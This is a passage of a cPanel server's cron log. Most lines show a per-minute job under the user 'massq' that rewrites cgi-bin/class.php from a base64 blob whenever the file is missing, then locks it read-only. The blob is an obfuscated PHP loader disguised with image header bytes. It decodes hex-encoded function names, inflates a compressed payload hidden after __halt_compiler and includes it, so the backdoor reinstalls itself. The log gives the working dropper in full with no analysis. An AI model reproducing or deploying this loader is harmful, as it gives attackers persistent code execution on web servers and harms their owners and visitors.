PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:29:01 server CROND[26915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:30:01 server CROND[26976]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 19:30:01 server CROND[26978]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 19:30:01 server CROND[26977]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 19:30:01 server CROND[26979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:31:01 server CROND[27104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:32:01 server CROND[27168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:33:01 server CROND[27284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:34:01 server CROND[27349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:35:01 server CROND[27509]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 19:35:01 server CROND[27510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:35:01 server CROND[27511]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 19:35:01 server CROND[27513]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 19:35:01 server CROND[27512]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 19:36:01 server CROND[27635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:37:01 server CROND[27701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:38:01 server CROND[27753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:39:01 server CROND[27808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:39:01 server CROND[27809]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 19:40:01 server CROND[27964]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 19:40:01 server CROND[27965]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 19:40:01 server CROND[27966]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 19:40:01 server CROND[27967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:41:01 server CROND[28085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
